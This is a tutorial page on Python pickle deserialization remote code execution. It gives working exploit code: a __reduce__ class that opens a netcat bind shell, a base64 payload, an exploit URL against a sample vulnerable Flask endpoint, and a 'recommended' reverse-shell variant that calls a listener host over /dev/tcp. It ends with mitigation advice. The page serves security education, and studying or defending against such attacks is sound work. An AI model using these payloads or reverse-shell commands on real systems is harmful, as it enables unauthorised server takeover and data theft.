On This Page
Pickle Code Execution (Python Deserialization RCE)
Python's pickle
module is a powerful object serialization tool used to convert Python objects into a byte stream for storage or transmission. However, it is inherently insecure when used with untrusted data. If an application deserializes user-controlled input using pickle
, an attacker can craft a malicious payload that executes arbitrary code upon deserialization - leading to Remote Code Execution (RCE).
How Pickle Serialization Works
Serialization allows applications to save complex Python objects (like class instances) into a storable format. When needed, the object is reconstructed via deserialization.
Example:
import pickle
data = {'name': 'Alice', 'age': 30}
serialized = pickle.dumps(data) # Convert to bytes
restored = pickle.loads(serialized) # Reconstruct object
The danger arises when pickle.loads()
is called on user-supplied data. Unlike safer serialization formats (e.g., JSON), pickle
can reconstruct any Python object - including those that execute code during initialization.
Exploitation: Crafting a Malicious Payload
The key to exploitation lies in the __reduce__()
method. When defined in a class, this method tells pickle
how to reconstruct the object. It can return a callable (like a function) and its arguments - which will be executed during deserialization.
Malicious Payload Example:
This script creates a class that, when deserialized, runs a command to start a bind shell on port 1234:
import base64
import os
import pickle
class Blah(object):
def __reduce__(self):
return (os.system, ("netcat -c '/bin/bash -i' -l -p 1234",))
# Create instance and serialize
h = Blah()
print(base64.b64encode(pickle.dumps(h, 2)).decode('utf-8'))
This outputs a base64-encoded string representing the malicious pickled object. When the target application runs pickle.loads()
on this data, it will execute:
os.system("netcat -c '/bin/bash -i' -l -p 1234")
Resulting in a shell accessible on port 1234.
Testing the Payload
To verify the payload works, save the exploit code to generate_pickle.py
and run it:
python3 generate_pickle.py
Output:
Y29zCnN5c3RlbQpwMAooUyduZXRjYXQgLWMgJy9iaW4vYmFzaCAtaScgLWwgLXAgMTIzNCcKcDEKdHAyClJwMwp...
Decode and Inspect (Optional):
echo 'Y29zCnN5c3RlbQpwMAooUyduZXRjYXQgLWMgJy9iaW4vYmFzaCAtaScgLWwgLXAgMTIzNCcKcDEKdHAyClJwMwp...' | base64 -d
This shows the raw pickle bytecode (do not run this on production systems).
Exploiting a Vulnerable Application
Suppose a web app uses code like this:
# vulnerable_app.py
import pickle
from flask import Flask, request
app = Flask(__name__)
@app.route('/load')
def load_data():
data = request.args.get('data')
if data:
pickle.loads(base64.b64decode(data))
return "Loaded"
An attacker can send the generated payload:
http://vulnerable/load?data=Y29zCnN5c3RlbQpwMAooUyduZXRjYXQgLWMgJy9iaW4vYmFzaCAtaScgLWwgLXAgMTIzNCcKcDEKdHAyClJwMwp...
This triggers the bind shell without needing authentication.
Reverse Shell Variant (Recommended)
A bind shell may be blocked by firewalls. Use a reverse shell instead:
class ReverseShell(object):
def __reduce__(self):
return (os.system, ("bash -i >& /dev/tcp/192.168.159.1/443 0>&1",))
Replace the IP address with your listener, then start a netcat listener:
nc -l -p 443 -v
Impact
Successful exploitation leads to:
- Full remote code execution on the server.
- Access to application data, credentials, and configuration files.
- Potential privilege escalation and lateral movement.
- Persistence via backdoors or scheduled tasks.
Since pickle
is often used in task queues (e.g., Celery), cache systems (Redis), or session storage, this vulnerability can have far-reaching consequences.
Mitigation and Best Practices
Never use pickle
on untrusted input.
Secure Alternatives:
- JSON: Safe for primitive data types.
- YAML (with caution): Use
safe_load()
only. - MessagePack: Faster and safer than pickle.
Additional Protections:
- Run Python applications with minimal privileges.
- Avoid storing session data with
pickle
; use signed cookies or database-backed sessions. - Monitor logs for suspicious payloads containing
cos\nsystem
(common in pickle exploits). - Use application firewalls (WAF) to detect and block serialized object attacks.
Published on Aug 21, 2025